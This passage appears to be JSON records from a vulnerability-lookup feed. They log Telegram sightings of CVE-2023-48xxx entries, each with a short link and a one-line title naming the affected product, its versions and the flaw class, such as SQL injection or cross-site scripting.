"type": "seen", "source": "https://t.me/ctinow/165807", "content": "https://ift.tt/Pgp4r7u\nCVE-2023-48253", "creation_timestamp": "2024-01-10T14:31:35.000000Z"}, {"uuid": "508ef089-5f05-4210-85d5-e65232042481", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48252", "type": "seen", "source": "https://t.me/ctinow/165806", "content": "https://ift.tt/vlibS5Y\nCVE-2023-48252", "creation_timestamp": "2024-01-10T14:31:34.000000Z"}, {"uuid": "eb834ec0-2928-4f00-be82-674bd3922651", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48418", "type": "seen", "source": "https://t.me/ctinow/162112", "content": "https://ift.tt/FqJLIUO\nCVE-2023-48418", "creation_timestamp": "2024-01-03T00:26:49.000000Z"}, {"uuid": "4077200e-6ec7-48ef-bc8f-66d9477c6b6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48327", "type": "seen", "source": "https://t.me/ctinow/167788", "content": "https://ift.tt/wWo8IG6\nCVE-2023-48327 | WC Vendors WooCommerce Multi-Vendor Plugin up to 2.4.7 on WordPress sql injection", "creation_timestamp": "2024-01-13T10:21:42.000000Z"}, {"uuid": "200356e4-8f7c-4c26-93ff-775d92ca1616", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48380", "type": "seen", "source": "https://t.me/ctinow/166487", "content": "https://ift.tt/qd6jxUo\nCVE-2023-48380 | Softnext Mail SQR Expert up to 230330 os command injection", "creation_timestamp": "2024-01-11T12:56:45.000000Z"}, {"uuid": "86d3d3d2-0343-4a25-b45d-24cf34e6e1a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48441", "type": "seen", "source": "https://t.me/ctinow/166475", "content": "https://ift.tt/GXcnJW4\nCVE-2023-48441 | Adobe Experience Manager up to 6.5.18 access control (apsb23-72)", "creation_timestamp": "2024-01-11T12:26:31.000000Z"}, {"uuid": "74cb95b7-72ff-454c-81e0-1afffa82ea6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48378", "type": "seen", "source": "https://t.me/ctinow/166473", "content": "https://ift.tt/pO6rhK9\nCVE-2023-48378 | Softnext Mail SQR Expert up to 230330 URL path traversal", "creation_timestamp": "2024-01-11T12:26:29.000000Z"}, {"uuid": "46a1b99c-3c19-4450-9873-4d19939e6f77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48772", "type": "seen", "source": "https://t.me/ctinow/167298", "content": "https://ift.tt/JAsFUqn\nCVE-2023-48772 | Arul Prasad J Prevent Landscape Rotation Plugin up to 2.0 on WordPress cross-site request forgery", "creation_timestamp": "2024-01-12T15:11:29.000000Z"}, {"uuid": "f4016b22-a16c-4f81-80c1-a56cbccddeae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48778", "type": "seen", "source": "https://t.me/ctinow/167297", "content": "https://ift.tt/afIhOYV\nCVE-2023-48778 | VillaTheme Product Size Chart for WooCommerce Plugin up to 1.1.5 on WordPress cross-site request forgery", "creation_timestamp": "2024-01-12T15:11:28.000000Z"}, {"uuid": "a045d279-656b-41c7-aec1-790ddc3e5066", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48858", "type": "seen", "source": "https://t.me/ctinow/173157", "content": "https://ift.tt/2Bxg14b\nCVE-2023-48858 Exploit", "creation_timestamp": "2024-01-24T23:16:29.000000Z"}, {"uuid": "c6016cb3-32b0-444d-8e01-115fec73bd68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48719", "type": "seen", "source": "https://t.me/ctinow/160158", "content": "https://ift.tt/hTfRqNr\nCVE-2023-48719 Exploit", "creation_timestamp": "2023-12-28T19:16:31.000000Z"}, {"uuid": "6d018783-b30c-46eb-996c-2283644135b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48714", "type": "seen", "source": "https://t.me/ctinow/172028", "content": "https://ift.tt/uZ1oegi\nCVE-2023-48714", "creation_timestamp": "2024-01-23T15:26:45.000000Z"}, {"uuid": "9ee8665e-df34-4feb-80b7-fb7af7ce715d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48443", "type": "seen", "source": "https://t.me/ctinow/162903", "content": "https://ift.tt/20iwvS4\nCVE-2023-48443 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T11:12:02.000000Z"}, {"uuid": "f0b602ba-c71c-4c93-85e0-919fc74a9b6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48442", "type": "seen", "source": "https://t.me/ctinow/162902", "content": "https://ift.tt/rCTLdwM\nCVE-2023-48442 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T11:12:00.000000Z"}, {"uuid": "53044692-6295-4dcf-85df-2603e27e1655", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48441", "type": "seen", "source": "https://t.me/ctinow/162892", "content": "https://ift.tt/nA1f8Ww\nCVE-2023-48441 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 access control (APSB23-72)", "creation_timestamp": "2024-01-04T10:36:55.000000Z"}, {"uuid": "34502cf9-1add-4c9a-819e-fa4564262f92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48440", "type": "seen", "source": "https://t.me/ctinow/162891", "content": "https://ift.tt/FhyUeJZ\nCVE-2023-48440 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T10:36:54.000000Z"}, {"uuid": "36b70f0d-936a-4dc7-af7e-a5f8037346e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48455", "type": "seen", "source": "https://t.me/ctinow/162982", "content": "https://ift.tt/qeJbyOU\nCVE-2023-48455 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T13:41:06.000000Z"}, {"uuid": "250829e7-5a02-4a3d-bada-9c0b0b2517e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48454", "type": "seen", "source": "https://t.me/ctinow/162981", "content": "https://ift.tt/bkwIeWg\nCVE-2023-48454 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T13:41:05.000000Z"}, {"uuid": "e6991942-6c72-4e8b-a857-d83baf0996df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48225", "type": "seen", "source": "https://t.me/ctinow/162851", "content": "https://ift.tt/rKQjRBU\nCVE-2023-48225 | labring laf up to 1.0.0-beta12 envFrom information disclosure (GHSA-hv2g-gxx4-fwxp)", "creation_timestamp": "2024-01-04T09:07:05.000000Z"}, {"uuid": "4abd8a41-8364-48ae-83d9-02e6ad204db3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48769", "type": "seen", "source": "https://t.me/ctinow/167278", "content": "https://ift.tt/s4YQoIM\nCVE-2023-48769 | Blue Coral Chat Bubble Plugin up to 2.3 on WordPress cross-site request forgery", "creation_timestamp": "2024-01-12T14:37:00.000000Z"}, {"uuid": "f2c9c190-a956-40e0-8d38-3980b33ddc98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48453", "type": "seen", "source": "https://t.me/ctinow/162980", "content": "https://ift.tt/CREAPOI\nCVE-2023-48453 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T13:41:04.000000Z"}, {"uuid": "8e67b89f-8b76-444f-89e6-7f4086517e32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48452", "type": "seen", "source": "https://t.me/ctinow/162963", "content": "https://ift.tt/agcJHT6\nCVE-2023-48452 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T13:11:18.000000Z"}, {"uuid": "f7f41699-58f8-4ba4-bdb9-1b41fcb04af4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48451", "type": "seen", "source": "https://t.me/ctinow/162962", "content": "https://ift.tt/vRxp1uz\nCVE-2023-48451 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T13:11:17.000000Z"}, {"uuid": "8b09da43-e155-4150-ad32-f362a3515b51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48765", "type": "seen", "source": "https://t.me/ctinow/166517", "content": "https://ift.tt/NKewivF\nCVE-2023-48765 | Till Kr\u00fcss Email Address Encoder Plugin up to 1.0.22 on WordPress cross site scripting", "creation_timestamp": "2024-01-11T13:56:45.000000Z"}, {"uuid": "4b1dbbe6-9b1e-4be1-9c3b-d3fb3d41aecc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48264", "type": "seen", "source": "https://t.me/ctinow/165818", "content": "https://ift.tt/eUgGdqi\nCVE-2023-48264", "creation_timestamp": "2024-01-10T14:31:47.000000Z"}, {"uuid": "5633a2fc-e95f-4033-a44d-1568afec2396", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48263", "type": "seen", "source": "https://t.me/ctinow/165817", "content": "https://ift.tt/fsWYqGv\nCVE-2023-48263", "creation_timestamp": "2024-01-10T14:31:46.000000Z"}, {"uuid": "b09c8a85-dba2-4af1-a321-31ab9efeb3c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48262", "type": "seen", "source": "https://t.me/ctinow/165816", "content": "https://ift.tt/CIsigEb\nCVE-2023-48262", "creation_timestamp": "2024-01-10T14:31:45.000000Z"}, {"uuid": "c02a8b5e-93c2-4cc5-8a06-7b842aab3734", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48325", "type": "seen", "source": "https://t.me/ctinow/160901", "content": "https://ift.tt/TYAuPJX\nCVE-2023-48325 | PluginOps Landing Page Builder Plugin up to 1.5.1.5 on WordPress redirect", "creation_timestamp": "2023-12-30T15:32:00.000000Z"}, {"uuid": "5e73e33d-7e3e-4157-bd95-2a45352aa7da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48837", "type": "seen", "source": "https://t.me/ctinow/160875", "content": "https://ift.tt/Mh7pBtE\nCVE-2023-48837 | PHP Jabbers Car Rental Script 3.0 SMS API Key/Default Country Code cross site scripting (ID 176048)", "creation_timestamp": "2023-12-30T14:07:07.000000Z"}, {"uuid": "efbf8128-278f-4101-ad0a-fb485a4e863d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48313", "type": "seen", "source": "https://t.me/ctinow/161854", "content": "https://ift.tt/tH1mdKZ\nCVE-2023-48313 | Umbraco CMS up to 10.8.0/12.3.3 cross site scripting (GHSA-v98m-398x-269r)", "creation_timestamp": "2024-01-02T16:11:17.000000Z"}, {"uuid": "d07e64c9-0679-4e6d-9a79-b11bbbb9029b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48431", "type": "seen", "source": "https://t.me/ctinow/161703", "content": "https://ift.tt/CiBEhZY\nCVE-2023-48431 | Siemens SINEC INS up to 1.0 SP2 Update 1 UMC Server unusual condition (ssa-077170)", "creation_timestamp": "2024-01-02T12:11:42.000000Z"}, {"uuid": "84095676-b563-40af-b101-80519b39dcdd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48448", "type": "seen", "source": "https://t.me/ctinow/162931", "content": "https://ift.tt/vLz6nj8\nCVE-2023-48448 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T12:11:37.000000Z"}, {"uuid": "06404250-fdf8-4ced-a880-7e990a595497", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48447", "type": "seen", "source": "https://t.me/ctinow/162930", "content": "https://ift.tt/07ivOZE\nCVE-2023-48447 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T12:11:36.000000Z"}, {"uuid": "afea7ddf-b746-4835-a5da-0b8357d5900f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48445", "type": "seen", "source": "https://t.me/ctinow/162917", "content": "https://ift.tt/WXFaN2n\nCVE-2023-48445 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T11:41:54.000000Z"}, {"uuid": "a17b03d8-55ec-4134-a3b6-4ea2db27293c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48446", "type": "seen", "source": "https://t.me/ctinow/162918", "content": "https://ift.tt/nghpBwS\nCVE-2023-48446 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T11:41:55.000000Z"}, {"uuid": "e01f0edf-698c-4430-9847-0863d1020efc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48444", "type": "seen", "source": "https://t.me/ctinow/162916", "content": "https://ift.tt/mnxKgYt\nCVE-2023-48444 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T11:41:53.000000Z"}, {"uuid": "cffcf601-ae66-4a7f-b4ee-b31499267891", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48450", "type": "seen", "source": "https://t.me/ctinow/162947", "content": "https://ift.tt/59kq2rJ\nCVE-2023-48450 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T12:41:46.000000Z"}, {"uuid": "42fdadf9-bc9e-4432-aa27-76ddc500c55c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48449", "type": "seen", "source": "https://t.me/ctinow/162946", "content": "https://ift.tt/EwBlzxa\nCVE-2023-48449 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T12:41:45.000000Z"}, {"uuid": "e6da7719-d188-467b-acb1-69852f54b927", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48003", "type": "seen", "source": "https://t.me/ctinow/162828", "content": "https://ift.tt/PlEdVYi\nCVE-2023-48003 Exploit", "creation_timestamp": "2024-01-04T08:16:42.000000Z"}, {"uuid": "e662428e-2144-49ce-b225-5527f5dcb9e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48755", "type": "seen", "source": "https://t.me/ctinow/167168", "content": "https://ift.tt/fpPw5yo\nCVE-2023-48755 | Michael Winkler teachPress Plugin up to 9.0.4 on WordPress cross-site request forgery", "creation_timestamp": "2024-01-12T10:06:41.000000Z"}, {"uuid": "568b0625-9912-479c-87af-8a38ab558a06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48667", "type": "seen", "source": "https://t.me/ctinow/166352", "content": "https://ift.tt/hR390cb\nCVE-2023-48667 | Dell PowerProtect DD os command injection (dsa-2023-412)", "creation_timestamp": "2024-01-11T08:21:58.000000Z"}, {"uuid": "9e09f952-d5b6-41bc-8982-3444e9a46a02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48297", "type": "seen", "source": "https://t.me/ctinow/167567", "content": "https://ift.tt/jS4YbDr\nCVE-2023-48297", "creation_timestamp": "2024-01-12T22:41:43.000000Z"}, {"uuid": "737af87e-85f3-41bd-b48b-4a4985d36315", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48251", "type": "seen", "source": "https://t.me/ctinow/165805", "content": "https://ift.tt/b0SpJgP\nCVE-2023-48251", "creation_timestamp": "2024-01-10T14:31:33.000000Z"}, {"uuid": "d96bced4-ebf7-4934-b0ac-72a922353e3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48261", "type": "seen", "source": "https://t.me/ctinow/165815", "content": "https://ift.tt/onEgWK2\nCVE-2023-48261", "creation_timestamp": "2024-01-10T14:31:44.000000Z"}, {"uuid": "04b75c56-233d-4e85-baaa-7eff9c505740", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48260", "type": "seen", "source": "https://t.me/ctinow/165814", "content": "https://ift.tt/D9MYF8K\nCVE-2023-48260", "creation_timestamp": "2024-01-10T14:31:43.000000Z"}, {"uuid": "3584fda5-db84-4692-b0f0-c2047710941f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48419", "type": "seen", "source": "https://t.me/ctinow/161986", "content": "https://ift.tt/kYZ76fu\nCVE-2023-48419", "creation_timestamp": "2024-01-02T20:27:07.000000Z"}, {"uuid": "d6de983b-7dc5-4988-81cd-361e4d66d1fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48721", "type": "seen", "source": "https://t.me/ctinow/161912", "content": "https://ift.tt/IvsFTG3\nCVE-2023-48721", "creation_timestamp": "2024-01-02T17:26:28.000000Z"}, {"uuid": "e897e261-b11e-4cc0-a30a-02bd79c6da55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48427", "type": "seen", "source": "https://t.me/ctinow/161702", "content": "https://ift.tt/GLXN4le\nCVE-2023-48427 | Siemens SINEC INS up to 1.0 SP2 Update 1 UMC Server certificate validation (ssa-077170)", "creation_timestamp": "2024-01-02T12:11:41.000000Z"}, {"uuid": "aad35b0d-de96-47fd-9186-752843382840", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48909", "type": "seen", "source": "https://t.me/ctinow/167182", "content": "https://ift.tt/r9dBPbk\nCVE-2023-48909", "creation_timestamp": "2024-01-12T10:31:17.000000Z"}, {"uuid": "7666ef61-668b-46b4-a2ac-82640b4a0c35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48266", "type": "seen", "source": "https://t.me/ctinow/165820", "content": "https://ift.tt/IcJm5TW\nCVE-2023-48266", "creation_timestamp": "2024-01-10T14:31:49.000000Z"}, {"uuid": "4f737f81-fd42-4877-8770-315310ac627a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48265", "type": "seen", "source": "https://t.me/ctinow/165819", "content": "https://ift.tt/dXKztDv\nCVE-2023-48265", "creation_timestamp": "2024-01-10T14:31:48.000000Z"}, {"uuid": "f271a11d-fcb5-4c6c-86ad-b4653f48dbbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48415", "type": "seen", "source": "https://t.me/ctinow/161094", "content": "https://ift.tt/3ir6auU\nCVE-2023-48415 | Google Android protocolembmsadapter.cpp Init information disclosure", "creation_timestamp": "2023-12-31T14:41:20.000000Z"}, {"uuid": "d067be8b-22e5-4310-afb3-a16f4254c65a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4812", "type": "seen", "source": "https://t.me/ctinow/167315", "content": "https://ift.tt/OwSKaPv\nCVE-2023-4812", "creation_timestamp": "2024-01-12T15:26:34.000000Z"}, {"uuid": "30ef7b77-a3c8-4b2f-b136-e5a6971b8570", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48642", "type": "seen", "source": "https://t.me/ctinow/161635", "content": "https://ift.tt/ZmzCaKx\nCVE-2023-48642 | Archer Platform up to 6.13 P1 cross site scripting", "creation_timestamp": "2024-01-02T10:06:56.000000Z"}, {"uuid": "fbe18943-a533-4143-9441-379c244b8b75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48641", "type": "seen", "source": "https://t.me/ctinow/161634", "content": "https://ift.tt/BYgT9uc\nCVE-2023-48641 | Archer Platform up to 6.14 P1 HF1 resource injection", "creation_timestamp": "2024-01-02T10:06:55.000000Z"}, {"uuid": "38604d63-405a-4a0b-83e8-87c784f1982b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://t.me/cibsecurity/70285", "content": "\u203c CVE-2023-4863 \u203c\n\nHeap buffer overflow in WebP in Google Chrome prior to 116.0.5845.187 allowed a remote attacker to perform an out of bounds memory write via a crafted HTML page. (Chromium security severity: Critical)\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-09-12T18:22:57.000000Z"}, {"uuid": "0bce10e3-4aca-4404-b6b3-3a75f5d0c494", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48693", "type": "seen", "source": "https://t.me/ctinow/158782", "content": "https://ift.tt/4zkqg5b\nCVE-2023-48693 | azure-rtos threadx up to 6.2.1 input validation (GHSA-p7w6-62rq-vrf9)", "creation_timestamp": "2023-12-23T11:41:49.000000Z"}, {"uuid": "df8f881a-936f-4191-a818-f85d1bf639b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48692", "type": "seen", "source": "https://t.me/ctinow/158777", "content": "https://ift.tt/q7jX0Ym\nCVE-2023-48692 | azure-rtos netxduo up to 6.2.1 icmp/tcp/snmp/dhcp/nat/ftp expired pointer dereference (GHSA-m2rx-243p-9w64)", "creation_timestamp": "2023-12-23T11:41:43.000000Z"}, {"uuid": "af244831-4fb8-403a-ad1b-f21c1aeb731b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48639", "type": "seen", "source": "https://t.me/ctinow/164028", "content": "https://ift.tt/e8gbkB0\nCVE-2023-48639 | Adobe Substance 3D Designer up to 13.0.0 out-of-bounds write (apsb23-76)", "creation_timestamp": "2024-01-07T00:01:50.000000Z"}, {"uuid": "57333250-eda8-4781-b06f-a68e5e9dceed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48635", "type": "seen", "source": "https://t.me/ctinow/164027", "content": "https://ift.tt/SumIY5s\nCVE-2023-48635 | Adobe After Effects up to 23.6.0/24.0.3 out-of-bounds (apsb23-75)", "creation_timestamp": "2024-01-07T00:01:49.000000Z"}, {"uuid": "a1119f36-b8da-46d7-88d0-acbd67990bc5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48634", "type": "seen", "source": "https://t.me/ctinow/164026", "content": "https://ift.tt/HGNvb8j\nCVE-2023-48634 | Adobe After Effects up to 23.6.0/24.0.3 input validation (apsb23-75)", "creation_timestamp": "2024-01-06T23:31:20.000000Z"}, {"uuid": "34c07927-c2b7-428d-a3d6-7273ba01e038", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48633", "type": "seen", "source": "https://t.me/ctinow/164024", "content": "https://ift.tt/Uv83KC2\nCVE-2023-48633 | Adobe After Effects up to 23.6.0/24.0.3 use after free (apsb23-75)", "creation_timestamp": "2024-01-06T23:02:14.000000Z"}, {"uuid": "592586f2-56a9-4677-9415-67f5db188979", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48632", "type": "seen", "source": "https://t.me/ctinow/164023", "content": "https://ift.tt/42eY7n9\nCVE-2023-48632 | Adobe After Effects up to 23.6.0/24.0.3 out-of-bounds write (apsb23-75)", "creation_timestamp": "2024-01-06T23:02:13.000000Z"}, {"uuid": "d3642d50-608e-4805-a9c3-135748040e65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48630", "type": "seen", "source": "https://t.me/ctinow/164021", "content": "https://ift.tt/vC3OG0V\nCVE-2023-48630 | Adobe Substance 3D Sampler up to 4.2.1 out-of-bounds write (apsb23-74)", "creation_timestamp": 